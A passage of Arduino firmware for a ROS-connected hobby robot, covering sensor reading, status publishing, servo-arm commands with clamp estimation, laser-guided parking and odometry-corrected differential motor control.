0;\n\testimated_clamp_pos.orig_time.nsec = 0;\n\testimated_clamp_pos.time_to_complete = 0;\n\testimated_clamp_pos.orig_pos = 0;\n\testimated_clamp_pos.target_pos = 0;\n\testimated_clamp_pos.corrected = false;\n\n\tstatus_msg.status_code = (int32_t *) malloc(20 * sizeof(int32_t));\n}\n\nvoid log_string(String str) {\n\n\tunsigned int str_length = str.length();\n\n\tif (str_length > 0) {\n\n\t\tif (str_length > LOG_STR_LEN)\n\t\t\tstr_length = LOG_STR_LEN;\n\n\t\tstr.toCharArray(charBuf, str_length + 1);\n\t\tstatus_msg.log_message = &charBuf[0];\n\t\tstatus_msg.log_count++;\n\n\t}\n\n}\n\nvoid log_chars(char *str) {\n\n\tif (strlen(str) > 0) {\n\t\tstrcpy(charBuf, str);\n\t\tstatus_msg.log_message = &charBuf[0];\n\t\tstatus_msg.log_count++;\n\n\t}\n\n}\n\nvoid status_msg_clean () {\n\tcharBuf[0] = '\\0';\n\tstatus_msg.log_count = 0;\n\tstatus_msg.status_code_length = 0;\n\tstatus_msg.status_param_length = 0;\n\tclean_IMU();\n}\n\nvoid add_status_code (int32_t code) {\n\tif (status_msg.status_code_length < 20) {\n\t\tstatus_msg.status_code[status_msg.status_code_length] = code;\n\t\tstatus_msg.status_code_length++;\n\t}\n}\n\nvoid jetsonPower() {\n\n\tif (digitalRead(PIN_JETSONPOWER) == LOW) {\n\t\tdigitalWrite(PIN_PETRPOWER, LOW); \/\/ Jetson was powered down (was up before). Poweroff whole robot\n\t}\n}\n\n\n\/*------------------State----------------------------*\/\n#include \"robik_state.h\"\n\n\/*--------------------SETUP()------------------------*\/\nvoid setup() {\n\n\t\/\/Power\n\tpinMode(PIN_PETRPOWER, OUTPUT); \/\/ this pin needs to be enabled to keep power on\n\tdigitalWrite(PIN_PETRPOWER, HIGH); \/\/ turn on power\n\tpinMode(PIN_JETSONPOWER, INPUT); \/\/ read power-on status of Jetson\n\tpinMode(PIN_CHARGER_BUTTON, OUTPUT); \/\/ read power-on status of Jetson\n\n\tinit_variables();\n\n\t\/\/Arm\n\tSerial3.begin(9600);\n\tdelay(100);\n\tservoSenseTimer = millis();\n\tpinMode(PIN_ARM_FORE_CLAMP, INPUT);\n\tpinMode(PIN_ARM_BACK_CLAMP, INPUT);\n\tdigitalWrite(PIN_ARM_FORE_CLAMP, HIGH); \/\/ turn on pullup resistors\n\tdigitalWrite(PIN_ARM_BACK_CLAMP, HIGH); \/\/ turn on pullup resistors\n\n\t\/\/LED\n\tpinMode(PIN_LED, OUTPUT);\n\tdigitalWrite(PIN_LED, LOW);\n\n\t\/\/power arm\n\tpinMode(PIN_RELAY, OUTPUT);\n\tdigitalWrite(PIN_RELAY, HIGH);\n\tarmPreInit();\n\tdigitalWrite(PIN_RELAY, LOW); \/\/turn off arm (as standby)\n\n\t\/\/IMU init\n\tint errcode;\n\tWire.begin();\n\timu = RTIMU::createIMU(&settings); \/\/ create the imu object\n\n\tif ((errcode = imu->IMUInit()) < 0) {\n\t\t\/\/#Serial.print(\"Failed to init IMU: \"); Serial.println(errcode);\n\t}\n\n\timu->getCalibrationValid();\n\n\t\/\/ROS node\n\tnh.getHardware()->setBaud(115200); \/\/57600 115200\n\tnh.initNode();\n\tnh.subscribe(sub_generic_control);\n\tnh.subscribe(sub_arm_control);\n\tnh.subscribe(sub_velocity_control);\n\tnh.advertise(pub_status);\n\n\twhile(!nh.connected()) {\n\t\tjetsonPower();\n\t\tnh.spinOnce();\n\t}\n\tnh.loginfo(\"Arduino connected\");\n\n\trange_timer50 = 11;\n\n\t\/\/sonar\n\tpingTimer = millis();\n\n\t\/\/odometry encoders\n\tpinMode(PIN_ODOM_LEFT, INPUT);\n\tdigitalWrite(PIN_ODOM_LEFT, HIGH); \/\/ turn on pullup resistor\n\tpinMode(PIN_ODOM_RIGHT, INPUT);\n\tdigitalWrite(PIN_ODOM_RIGHT, HIGH); \/\/ turn on pullup resistor\n\tattachInterrupt(INT_ODOM_LEFT, intr_left_encoder, CHANGE);\n\tattachInterrupt(INT_ODOM_RIGHT, intr_right_encoder, CHANGE);\n\n\t\/\/bumber\n\tpinMode(PIN_BUMPER, INPUT);\n\tdigitalWrite(PIN_BUMPER, HIGH); \/\/ turn on pullup resistors\n\n\t\/\/motion detector\n\tpinMode(PIN_MOTION_DETECTOR, INPUT);\n\n\t\/\/velocity\n\tpinMode(PIN_MOTOR_LEFT_ENA, OUTPUT); \/\/Motor left\n\tpinMode(PIN_MOTOR_LEFT_0, OUTPUT);\n\tpinMode(PIN_MOTOR_LEFT_1, OUTPUT);\n\tpinMode(PIN_MOTOR_RIGHT_ENA, OUTPUT); \/\/Motor right\n\tpinMode(PIN_MOTOR_RIGHT_0, OUTPUT);\n\tpinMode(PIN_MOTOR_RIGHT_1, OUTPUT);\n\n\t\/\/menu control\n\tpinMode(PIN_MENU_MENU, INPUT);\n\tdigitalWrite(PIN_MENU_MENU, HIGH); \/\/ turn on pullup resistors\n\tpinMode(PIN_MENU_OK, INPUT);\n\tdigitalWrite(PIN_MENU_OK, HIGH); \/\/ turn on pullup resistors\n\tpinMode(PIN_MENU_CANCEL, INPUT);\n\tdigitalWrite(PIN_MENU_CANCEL, HIGH); \/\/ turn on pullup resistors\n\tpinMode(PIN_MENU_UP, INPUT);\n\tdigitalWrite(PIN_MENU_UP, HIGH); \/\/ turn on pullup resistors\n\tpinMode(PIN_MENU_DOWN, INPUT);\n\tdigitalWrite(PIN_MENU_DOWN, HIGH); \/\/ turn on pullup resistors\n\n}\n\n\/\/Return time difference in milliseconds\nuint32_t ros_time_diff(ros::Time before, ros::Time after) {\n\tuint32_t sec = after.sec - before.sec;\n\tuint32_t nsec = after.nsec - before.nsec;\n\n\tif (nsec < 0) {\n\t\tnsec = 1000 + nsec;\n\t}\n\n\treturn sec * 1000 + nsec \/ 1000000;\n}\n\n\/\/-1: t2<t1\n\/\/ 0: t2==t1\n\/\/ 1: t2>t1\nint ros_time_cmp(ros::Time t1, ros::Time t2) {\n\tif (t1.sec == t2.sec && t1.nsec == t2.nsec)\n\t\treturn 0;\n\n\tif (ros_time_diff(t1, t2) > 0)\n\t\treturn 1;\n\telse\n\t\treturn -1;\n}\n\nvoid checkClampAndStop() {\n\/\/time_to_complete [ms]\n\tros::Time now = nh.now();\n\tuint32_t milliseconds_since_start = ros_time_diff(estimated_clamp_pos.orig_time, now);\n\n\tif ( (estimated_clamp_pos.orig_pos < estimated_clamp_pos.target_pos) &&\n\t (milliseconds_since_start < (estimated_clamp_pos.time_to_complete + 700)) ) { \/\/clamp is being moved, try hard for extra 700\n\t\tdouble progress = milliseconds_since_start \/ estimated_clamp_pos.time_to_complete;\n\t\tprogress *= 0.9; \/\/bring it back a bit to compensate late detection\n\t\tif (progress > 1)\n\t\t\tprogress = 1;\n\n\t\tuint32_t estimatedClampPos = estimated_clamp_pos.orig_pos + (uint32_t)(progress * (estimated_clamp_pos.target_pos - estimated_clamp_pos.orig_pos));\n\t\tsprintf(strtmp, \"SSS %lu | TTC %lu | ORG %lu | TRG %lu | PRG %lu | ECP %lu\", milliseconds_since_start, estimated_clamp_pos.time_to_complete, estimated_clamp_pos.orig_pos, estimated_clamp_pos.target_pos, (uint32_t)(progress*100), estimatedClampPos); log_chars(strtmp);\n\t\tarmSetJointState(estimatedClampPos, 0, 0, 0, 0, 80); \/\/80ms\n\t\testimated_clamp_pos.corrected = true; \/\/prevent iteration for stopping clamp again\n\t}\n\telse\n\t\tsprintf(strtmp, \"SSS %lu | TTC %lu | ORG %lu | TRG %lu \", milliseconds_since_start, estimated_clamp_pos.time_to_complete, estimated_clamp_pos.orig_pos, estimated_clamp_pos.target_pos); log_chars(strtmp);\n}\n\nunsigned int menu_lag = 0;\nuint8_t menu_controls(){\n uint8_t res = 0;\n\n if (menu_lag > 3) {\n\t\tmenu_lag = 0;\n\t\tif (digitalRead(PIN_MENU_MENU) == LOW)\n\t\t\tres |= MASK_MENU_MENU;\n\t\tif (digitalRead(PIN_MENU_OK) == LOW)\n\t\t\tres |= MASK_MENU_OK;\n\t\tif (digitalRead(PIN_MENU_CANCEL) == LOW)\n\t\t\tres |= MASK_MENU_CANCEL;\n\t\tif (digitalRead(PIN_MENU_UP) == LOW)\n\t\t\tres |= MASK_MENU_UP;\n\t\tif (digitalRead(PIN_MENU_DOWN) == LOW)\n\t\t\tres |= MASK_MENU_DOWN;\n }\n else {\n\t\tmenu_lag++;\n }\n return res;\n}\n\n\n\/*---------------------- LOOP() ---------------------*\/\nvoid loop() {\n\n\t\/\/sent status message\n\tif ( (millis()-range_timer50) > 50){ \/\/[ms] 50ms == 20Hz\n\n\t\tstatus_msg.header.stamp = nh.now();\n\n\t\t\/\/bumper\n\t\tstatus_msg.bumper_front = bumperFront;\n\t\tbumperFrontPublished = true;\n\n\t\t\/\/menu controls\n\t\tstatus_msg.menu_controls = menu_controls();\n\n\t\t\/\/odom\n\t\tstatus_msg.odom_ticksLeft = motor_left_dir * odom_ticks_left;\n\t\tstatus_msg.odom_ticksRight = motor_right_dir * odom_ticks_right;\n\t\todom_ticks_left = 0;\n\t\todom_ticks_right = 0;\n\t\tunsigned long now = millis();\n\t\tstatus_msg.odom_millisSinceLastUpdate = now - odomMillisSinceLastUpdate;\n\t\todomMillisSinceLastUpdate = now;\n\n\t\t\/\/wheels are expected to move but robot is stopped\n\t\tvelocity_control_LR();\n\/\/add_status_code(req_motor_left);\n\/\/add_status_code(old_motor_left);\n\/\/add_status_code(odom_ticks_left_since_cmd);\n\/\/add_status_code(millis_since_cmd);\n\n\n\t\t\/\/sonar\n\t\tstatus_msg.ultrasound_Back = ultrasoundBack;\n\n\t\t\/\/arm\n\t\tstatus_msg.arm_yaw = servoSenseMedian_yaw.getMedian();\n\t\tstatus_msg.arm_shoulder = servoSenseMedian_shoulder.getMedian();\n\t\tstatus_msg.arm_elbow = servoSenseMedian_elbow.getMedian();\n\t\tstatus_msg.arm_roll = servoSenseMedian_roll.getMedian();\n\t\tstatus_msg.arm_clamp = servoSenseMedian_clamp.getMedian();\n\n\t\tstatus_msg.arm_fore_clamp = digitalRead(PIN_ARM_FORE_CLAMP) == LOW ? true : false;\n\t\tstatus_msg.arm_back_clamp = digitalRead(PIN_ARM_BACK_CLAMP) == LOW ? true : false;\n\t\tif (estimated_clamp_pos.corrected == false && (status_msg.arm_fore_clamp == true || status_msg.arm_back_clamp == true))\n\t\t\tcheckClampAndStop();\n\n\t\t\/\/motion detector\n\t\tstatus_msg.motion_detector = motionDetector;\n\t\tmotionDetectorPublished = true;\n\n\n\t\t\/\/parking photo sensor\n\t\tstatus_msg.parkSens_inner = analogRead(PIN_PARK_SENS_INNER);\n\t\tstatus_msg.parkSens_outer = analogRead(PIN_PARK_SENS_OUTER);\n\n\n\t\t\/\/IMU\n\t\tstatus_msg.imu_sample_count = sampleCount;\n\t\tstatus_msg.imu_gyro_bias_valid = imu->IMUGyroBiasValid(); \/\/do not move IMU if false\n\n\t\trefreshMotorJoints();\n\n\t\t\/\/publish\n\t\trange_timer50 = millis();\n\t\tpub_status.publish(&status_msg);\n\t\tstatus_msg_clean();\n\n\t\t\/\/check arm power timeout\n\t\tif (arm_enabled_time != 0 && (arm_enabled_time + ARM_TIME_MAX_ENABLED) < millis()) {\n\t\t\tsetArmPower(false);\n\t\t}\n\t\t\n\t}\n\n\t\/\/thigs to be done frequently\n\tread_IMU();\n\thandle_parking();\n\tjetsonPower();\n\t\n\tnh.spinOnce();\n\n\t\/\/sonar\n\tif (millis() >= pingTimer) { \/\/ Is it this sensor's time to ping?\n\t\tpingTimer += PING_INTERVAL;\n\t\tsonar.ping_timer(echoCheck); \/\/ Do the ping (processing continues, interrupt will call echoCheck to look for echo).\n\t}\n\n\t\/\/bumper\n\tif (digitalRead(PIN_BUMPER) == LOW) {\n\t\tbumperFrontPublished = false;\n\t\tbumperFront = true;\n\t}\n\telse {\n\t\tif (bumperFrontPublished == true) bumperFront = false;\n\t}\n\n\t\/\/motion detector\n\tif (digitalRead(PIN_MOTION_DETECTOR) == HIGH) {\n\t\tmotionDetectorPublished = false;\n\t\tmotionDetector = true;\n\t}\n\telse {\n\t\tif (motionDetectorPublished == true) motionDetector = false;\n\t}\n\n\t\/\/servo sense\n\tif (millis() >= servoSenseTimer) { \/\/ Is it this sensor's time to ping?\n\t\tservoSenseTimer += SERVO_SENSE_INTERVAL;\n servoSenseMedian_yaw.addValue(analogRead(PIN_SERVO_SENSE_YAW));\n servoSenseMedian_shoulder.addValue(analogRead(PIN_SERVO_SENSE_SHOULDER));\n servoSenseMedian_elbow.addValue(analogRead(PIN_SERVO_SENSE_ELBOW));\n servoSenseMedian_roll.addValue(analogRead(PIN_SERVO_SENSE_ROLL));\n servoSenseMedian_clamp.addValue(analogRead(PIN_SERVO_SENSE_CLAMP));\n\t}\n\n} \/\/end of loop\n\n\nvoid clean_IMU() {\n\tfor (int i = 0; i < 3; i++) {\n\t\tstatus_msg.imu_angular_velocity_v3_x[i] = 0;\n\t\tstatus_msg.imu_angular_velocity_v3_y[i] = 0;\n\t\tstatus_msg.imu_angular_velocity_v3_z[i] = 0;\n\n\t\tstatus_msg.imu_linear_acceleration_v3_x[i] = 0;\n\t\tstatus_msg.imu_linear_acceleration_v3_y[i] = 0;\n\t\tstatus_msg.imu_linear_acceleration_v3_z[i] = 0;\n\n\t\tstatus_msg.imu_compass_v3_x[i] = 0;\n\t\tstatus_msg.imu_compass_v3_y[i] = 0;\n\t\tstatus_msg.imu_compass_v3_z[i] = 0;\n\t}\n\tsampleCount = 0;\n}\n\nvoid read_IMU() {\n\n\tif (sampleCount < 3 && imu->IMURead()) { \/\/ get the latest data if ready yet\n\t\tRTVector3 gyro_v3 = (RTVector3&)imu->getGyro();\n\t\tstatus_msg.imu_angular_velocity_v3_x[sampleCount] = gyro_v3.x();\n\t\tstatus_msg.imu_angular_velocity_v3_y[sampleCount] = gyro_v3.y();\n\t\tstatus_msg.imu_angular_velocity_v3_z[sampleCount] = gyro_v3.z();\n\n\t\tRTVector3 accel_v3 = (RTVector3&)imu->getAccel();\n\t\tstatus_msg.imu_linear_acceleration_v3_x[sampleCount] = accel_v3.x();\n\t\tstatus_msg.imu_linear_acceleration_v3_y[sampleCount] = accel_v3.y();\n\t\tstatus_msg.imu_linear_acceleration_v3_z[sampleCount] = accel_v3.z();\n\n\t\tRTVector3 compass_v3 = (RTVector3&)imu->getCompass();\n\t\tstatus_msg.imu_compass_v3_x[sampleCount] = compass_v3.x();\n\t\tstatus_msg.imu_compass_v3_y[sampleCount] = compass_v3.y();\n\t\tstatus_msg.imu_compass_v3_z[sampleCount] = compass_v3.z();\n\n\t\tsampleCount++;\n\t}\n\n}\n\nvoid park_rotating(bool inner, bool outer) {\n\n\tif (inner || outer) {\n\t\t\/\/stop rotation\n\t\tvelocity_control_VelTh(PARK_BACKSPEED, 0);\n\t\tstate_parking = PARKPHASE_BACKWARD;\n\t\tpark_last_spotted = 1; \/\/if beam is lost, turn reverse first to find it\n\t\t\/\/ ROS_INFO(\"Laser beam found. Switching to PARKPHASE_BACKWARD\");\n\t}\n\n}\n\nvoid park_backward(bool inner, bool outer) {\n\n\t\/\/adjust speed\n\tfloat parking_speed = PARK_BACKSPEED; \/\/default ful speed\n\tif ( ultrasoundBack < 10 ) { \/\/ getting as close as 10cm, slow down\n\t\t\/\/ ROS_DEBUG(\"Jsem blizko 20cm. Brzdim na pulku\");\n\t\tparking_speed = PARK_BACKSPEED \/ 2;\n\t}\n\tif ( ultrasoundBack < 2 ) { \/\/ <2cm stop\n\t\tparking_speed = 0;\n\t\tstate_parking = PARKPHASE_PARKED;\n\t}\n\n\tfloat dir = 0; \/\/ >0 toci se doleva\n\tif (inner && outer)\n\t\tdir = 0;\n\telse if (inner == true && outer == false) {\n\t\tdir = +1 * PARK_BACKTURNSPEED_SLOW_RATIO;\n\t\tpark_last_spotted = 1;\n\t}\n\telse if (inner == false && outer == true) {\n\t\tdir = -1 * PARK_BACKTURNSPEED_SLOW_RATIO;\n\t\tpark_last_spotted = -1;\n\t}\n\telse if (inner == false && outer == false && park_last_spotted == 1) {\n\t\tdir = +1 * 1.3 * PARK_BACKTURNSPEED_SLOW_RATIO;\n\t}\n\telse if (inner == false && outer == false && park_last_spotted == -1) {\n\t\tdir = -1 * 1.3 * PARK_BACKTURNSPEED_SLOW_RATIO;\n\t}\n\telse if (inner == false && outer == false && park_last_spotted == 0) {\n\t\tdir = 1;\n\t\tparking_speed = 0;\n\t\tstate_parking = 0;\n\t\t\/\/ ROS_ERROR(\"Parking laser beam lost. Switching to manual parking.\");\n\t}\n\n\tvelocity_control_VelTh(parking_speed, dir * PARK_TURNSPEED);\n\t\/\/ ROS_INFO(\"B I:%d O:%d US: %f lst: %d | spd: %f tw %f\",\tinner, outer, laserscan_msg.ranges[0], park_last_spotted, parking_speed, dir * PARK_TURNSPEED);\n\n}\n\nvoid park_parked(bool inner, bool outer) {\n\tvelocity_control_VelTh(0, 0);\n\t\/\/ ROS_INFO(\"Parked\");\n\tstate_parking = PARKPHASE_NOPARKING;\n}\n\nvoid handle_parking() {\n\n\tif (state_parking > PARKPHASE_NOPARKING) {\n\n\t\tint ps_inner = analogRead(PIN_PARK_SENS_INNER);\n\t\tint ps_outer = analogRead(PIN_PARK_SENS_OUTER);\n\t\tbool inner = false;\n\t\tbool outer = false;\n\t\tif (ps_inner < 320)\n\t\t\tinner = true;\n\t\tif (ps_outer < 280)\n\t\t\touter = true;\n\n\t\t\/\/ROS_INFO(\"PS status: { inner: %d, outer: %d }\", inner, outer);\n\n\t\tswitch (state_parking) {\n\t\t\tcase PARKPHASE_ROTATING:\n\t\t\t\tpark_rotating(inner, outer);\n\t\t\t\tbreak;\n\t\t\tcase PARKPHASE_BACKWARD:\n\t\t\t\tpark_backward(inner, outer);\n\t\t\t\tbreak;\n\t\t\tcase PARKPHASE_PARKED:\n\t\t\t\tpark_parked(inner, outer);\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n}\n\n\/*------------------------ Listeners -------------------*\/\n\nvoid echoCheck() { \/\/ If ping received, set the sensor distance to array.\n\n\t if (sonar.check_timer())\n\t\t ultrasoundBack = sonar.ping_result \/ US_ROUNDTRIP_CM;\n}\n\nvoid genop_head_pose(const robik::GenericControl& msg) {\n\n\t\/\/head\n\t\t\/\/int val = map(msg.gen_param2, -1000, 1000, 50, 165);\n\t\t\/\/servoHeadPitch.write(val);\n\n}\n\nvoid setParkingPhase(const robik::GenericControl& msg) {\n\tstate_parking = msg.gen_param1;\n\tif (msg.gen_param1 == PARKPHASE_ROTATING) {\n\t\tvelocity_control_VelTh(0, 1 * PARK_TURNSPEED);\n\t}\n}\n\nvoid setLED(const robik::GenericControl& msg) {\n\tdigitalWrite(PIN_LED, (msg.gen_param1 == 1) ? HIGH : LOW);\n}\n\nvoid setDPin(const robik::GenericControl& msg) {\n\tdigitalWrite(msg.gen_param1, (msg.gen_param2 == 1) ? HIGH : LOW);\n}\n\nbool getArmPower() {\n\treturn (digitalRead(PIN_RELAY) == HIGH) ? true : false;\n}\nvoid setArmPower(bool state) {\n\tif (state) {\n\t\tif (arm_disabled_time + ARM_TIME_MIN_BREAK < millis()) {\n\t\t\tdigitalWrite(PIN_RELAY, HIGH);\n\t\t\tarm_enabled_time = millis();\n\t\t\tarm_disabled_time = 0;\n\t\t}\n\t}\n\telse {\n\t\tdigitalWrite(PIN_RELAY, LOW);\n\t\tarm_enabled_time = 0;\n\t\tarm_disabled_time = millis();\n\t}\n}\n\nvoid genericMessageListener(const robik::GenericControl& msg) {\n\n\tif (msg.gen_operation == OPERATION_HEAD_POSE) {\n\t\tgenop_head_pose(msg);\n\t}\n\tif (msg.gen_operation == OPERATION_SET_PARKING_PHASE) {\n\t\tsetParkingPhase(msg);\n\t}\n\tif (msg.gen_operation == OPERATION_SET_LED) {\n\t\tsetLED(msg);\n\t}\n\tif (msg.gen_operation == OPERATION_SET_DPIN) {\n\t\tsetDPin(msg);\n\t}\n\tif (msg.gen_operation == OPERATION_SET_ARMPOWER) {\n\t\tsetArmPower((msg.gen_param1 == 1) ? true : false);\n\t}\n\n}\n\nvoid armPreInit() {\n\tSerial3.print(\"#10P1320T500\\r\\n\"); delay(500);\n\tSerial3.print(\"#3P2250T500\\r\\n\"); delay(500);\n\tSerial3.print(\"#4P1740T500\\r\\n\"); delay(500);\n\tSerial3.print(\"#5P1091T500\\r\\n\"); delay(500);\n\tSerial3.print(\"#1P1908T500\\r\\n\"); delay(500);\n\tSerial3.print(\"#10P1280T500\\r\\n\"); delay(500);\n\n\tSerial3.print(\"#11P700T1\\r\\n\"); \/\/set initial speed for shoulder 2\n\tshoulder2 = 512; \/\/set initial position for shoulder2\n}\n\n\nvoid armMessageListener(const robik::ArmControl& msg) {\n\n\tarmSetJointState(msg.arm_clamp, msg.arm_roll, msg.arm_elbow, msg.arm_shoulder, msg.arm_yaw, msg.time_to_complete);\n\n}\n\n\/\/replace by constrain arduino funtion after logging will no longer be needed\nuint32_t check_limits(uint32_t val, uint32_t min, uint32_t max) {\n\n if (min > max) {\n\tuint32_t t = min;\n\tmin = max;\n\tmax = t;\n }\n\n if (val < min) {\n\tval = min;\n\tlog_string(\"ArmSrvoMinX:\" + String(min, DEC)); \/\/nevim jestli funguje\n }\n if (val > max) {\n\tval = max;\n\tlog_string(\"ArmSrvoMaxX:\" + String(max, DEC));\n }\n\n return val;\n}\n\/*\nPostup ladeni\n- zapoj potenciometr serva do analogu a zapis min a max hodnotu\n- odladit smer otaceni, pak odstranit 100ms stop \/\/konfiguruj PWM stejne jako ohm\n- vyzkouset jestli shoulder2 se hybe stejne jako shoulder1\n*\/\n\n\/\/TODO pridej parametr effort\nvoid setMotorJoint(int pin0, int pin1, int pinsense, int target_ohm) {\n\n\tint current_ohm = analogRead(pinsense);\n\tadd_status_code(current_ohm);\n\n\tint a0 = LOW; \/\/stop implicitly\n\tint a1 = LOW;\n\tif (current_ohm > target_ohm) {\n\t\ta0 = HIGH;\n\t}\n\telse if (current_ohm < target_ohm) {\n\t\ta1 = HIGH;\n\t}\n\t\/*digitalWrite(pin0, a0);*\/\n\t\/*digitalWrite(pin1, a1);*\/\n\n\t\/\/delay(100); \/\/zastav motor pro 100ms dokud neodladis smer\n\t\/*digitalWrite(pin0, LOW);*\/\n\t\/*digitalWrite(pin1, LOW);*\/\n}\n\nvoid refreshMotorJoints() {\n\/\/TODO rozeber servo a predelej to ne lm298n\n \/\/setMotorJoint(PIN_MOTOR_SHOULDER_0, PIN_MOTOR_SHOULDER_1, PIN_SERVO_SENSE_SHOULDER2, shoulder2);\n \/\/add more joints here\n}\n\n\nvoid armSetJointState(uint32_t clamp, uint32_t roll, uint32_t elbow, uint32_t shoulder, uint32_t yaw, uint32_t time_to_complete) {\n\tString arm_clamp = \"\";\n\tString arm_roll = \"\";\n\tString arm_elbow = \"\";\n\tString arm_shoulder = \"\";\n\tString arm_yaw = \"\";\n\t\n\t\/\/if arm power is off but a move request is received, enable power\n\tif (!getArmPower() &&\n\t\t(old_clamp != clamp ||\n\t\told_roll != roll ||\n\t\told_elbow != elbow ||\n\t\told_shoulder != shoulder ||\n\t\told_yaw != yaw)\n\t\t)\n\t{\n\t\tsetArmPower(true);\t\n\t}\n\t\n\tString time_to_complete_str = String(time_to_complete, DEC);\n\tif (clamp != 0) {\n\t\tarm_clamp = \"#5P\" + String(check_limits(clamp, ARM_MIN_CLAMP, ARM_MAX_CLAMP), DEC);\n\t\testimated_clamp_pos.orig_time = nh.now();\n\t\testimated_clamp_pos.time_to_complete = time_to_complete;\n\t\testimated_clamp_pos.orig_pos = estimated_clamp_pos.target_pos;\n\t\testimated_clamp_pos.target_pos = check_limits(clamp, ARM_MIN_CLAMP, ARM_MAX_CLAMP);\n\t\testimated_clamp_pos.corrected = false;\n\t}\n\n\tif (roll != 0) {\n\t\tarm_roll = \"#4P\" + String(check_limits(roll, ARM_MIN_ROLL, ARM_MAX_ROLL), DEC);\n\t}\n\n\tif (elbow != 0) {\n\t\tarm_elbow = \"#3P\" + String(check_limits(elbow, ARM_MIN_ELBOW, ARM_MAX_ELBOW), DEC);\n\t}\n\n\tif (shoulder != 0) {\n\t\tarm_shoulder = \"#10P\" + String(check_limits(shoulder, ARM_MIN_SHOULDER, ARM_MAX_SHOULDER), DEC);\n\t\tshoulder2 = 512; \/\/TODO map from shoulder\n\/\/ otestuje servo setMotorJoint(PIN_MOTOR_SHOULDER_0, PIN_MOTOR_SHOULDER_1, PIN_SERVO_SENSE_SHOULDER2, constrain(shoulder2, ARM_RES_MIN_SHOULDER2, ARM_RES_MAX_SHOULDER2));\n\t}\n\n\tif (yaw != 0) {\n\t\tarm_yaw = \"#1P\" + String(check_limits(yaw, ARM_MIN_YAW, ARM_MAX_YAW), DEC);\n\t}\n\n\tString cmd = String(arm_clamp + arm_roll + arm_elbow + arm_shoulder + arm_yaw + \"T\" + time_to_complete_str + \"\\r\\n\");\n\tlog_string(cmd);\n\tSerial3.print(cmd);\n\n}\n\nvoid velocityMessageListener(const geometry_msgs::Twist& msg) {\n\tvelocity_control_VelTh(msg.linear.x, msg.angular.z);\n}\n\n\/\/ vel: linear velocity [m\/sec]\n\/\/ theta: angular velocity [rad\/sec]\nvoid velocity_control_VelTh(float vel, float th) {\n\n\t\/\/limit to standard max values on input\n\tvel = constrain(vel, -MAX_VEL, MAX_VEL);\n\tth = constrain(th, -MAX_TH, MAX_TH);\n\n\t\/\/combine speed and rotation and set as required speed for boot wheels\n\treq_motor_left = vel - ((AXIAL_LENGTH_MM\/1000 \/ 2) * th);\n\treq_motor_right = vel + ((AXIAL_LENGTH_MM\/1000 \/ 2) * th);\n\n\t\/\/limit combined speed to maximum available\n\tdouble coef = 1; \n\tif (abs(req_motor_left) > MAX_VEL)\n\t\tcoef = req_motor_left \/ MAX_VEL;\n\tif (abs(req_motor_right) > MAX_VEL)\n\t\tcoef = req_motor_right \/ MAX_VEL;\n\n\treq_motor_left = req_motor_left \/ abs(coef);\n\treq_motor_right = req_motor_right \/ abs(coef);\n\n\tvelocity_control_LR();\n\n}\n\n\nint motor_vel_to_pwm(double vel) {\n\treturn vel \/ MAX_VEL * MOTOR_MAX;\n}\n\nint is_equal_3decplaces(double a, double b) {\n\t\tlong long ai = a * 1000;\n\t\tlong long bi = b * 1000;\n\t\treturn ai == bi;\n}\n\n\/\/input is global variable req_motor_left and req_motor_right, [meter\/sec], max speed is normalized\nvoid velocity_control_LR() {\n\n\t\/\/if velocity command has changed\n\tif ( (!is_equal_3decplaces(req_motor_left, old_motor_left)) || \n\t (!is_equal_3decplaces(req_motor_right, old_motor_right))\n\t ||\n\t (req_motor_left == 0 && req_motor_right == 0)\n\t) {\n\t\t\/\/remove correction, use only estimated speeds for new velocity command\n\t\told_motor_left = req_motor_left;\n\t\told_motor_right = req_motor_right;\n\t\tmillis_since_cmd = millis();\n\t\todom_ticks_left_since_cmd = 0;\n\t\todom_ticks_right_since_cmd = 0;\n\t}\n\n\t\/\/number of ticks that the robot is behind. Can be also < 0 which means the robot is ahead of required\n\tlong millis_now = millis();\n\tlong correction_motor_left = long( (double)(millis_now - millis_since_cmd)\/1000.0 * req_motor_left * 1000 \/ TICK_LENGTH_MM ) - odom_ticks_left_since_cmd;\n\tlong correction_motor_right = long( (double)(millis_now - millis_since_cmd)\/1000.0 * req_motor_right * 1000 \/ TICK_LENGTH_MM ) - odom_ticks_right_since_cmd;\n\n\t\/\/include correction <0 - ow; MOTOR_MAX + ow> where ow is an overflow\n\tint corrected_motor_left = motor_vel_to_pwm(abs(req_motor_left)) + constrain(correction_motor_left * 5, -MOTOR_MAX\/5, MOTOR_MAX\/5);\n\tint corrected_motor_right = motor_vel_to_pwm(abs(req_motor_right)) + constrain(correction_motor_right * 5, -MOTOR_MAX\/5, MOTOR_MAX\/5);\n\tadd_status_code(corrected_motor_left);\n\tadd_status_code(corrected_motor_right);\n\n\t\/\/remap if speed of any wheel overflows 0 or MOTOR_MAX\n\tif (corrected_motor_left < MOTOR_MIN)\n\t\tcorrected_motor_left = 0;\n\tif (corrected_motor_right < MOTOR_MIN)\n\t\tcorrected_motor_right = 0;\n\n\tint ow_left = 0;\n\tint ow_right = 0;\n\tint ow = 0;\n\tif (corrected_motor_left > MOTOR_MAX)\n\t\tow_left = corrected_motor_left - MOTOR_MAX;\n\tif (corrected_motor_right > MOTOR_MAX)\n\t\tow_right = corrected_motor_right - MOTOR_MAX;\n\n\t\/\/subtract common overflow for both wheels\n\tow = max(ow_left, ow_right);\n\tcorrected_motor_left -= ow;\n\tcorrected_motor_right -= ow;\n\n\t\/\/derive direction from original speed\n\t\/\/left\n\tint a0 = LOW; \/\/stop implicitly\n\tint a1 = LOW;\n\tif (req_motor_left < 0) {\n\t\ta0 = HIGH;\n\t\tmotor_left_dir = -1;\n\t}\n\tif (req_motor_left > 0) {\n\t\ta1 = HIGH;\n\t\tmotor_left_dir = 1;\n\t}\n\tdigitalWrite(PIN_MOTOR_LEFT_0, a0);\n\tdigitalWrite(PIN_MOTOR_LEFT_1, a1);\n\tanalogWrite(PIN_MOTOR_LEFT_ENA, constrain(corrected_motor_left, 0, MOTOR_MAX));\n\tadd_status_code(correction_motor_left);\n\tadd_status_code(corrected_motor_left);\n\n\t\/\/right\n\ta0 = LOW;\n\ta1 = LOW;\n\tif (req_motor_right < 0) {\n\t\ta0 = HIGH;\n\t\tmotor_right_dir = -1;\n\t}\n\tif (req_motor_right > 0) {\n\t\ta1 = HIGH;\n\t\tmotor_right_dir = 1;\n\t}\n\tdigitalWrite(PIN_MOTOR_RIGHT_0, a0);\n\tdigitalWrite(PIN_MOTOR_RIGHT_1, 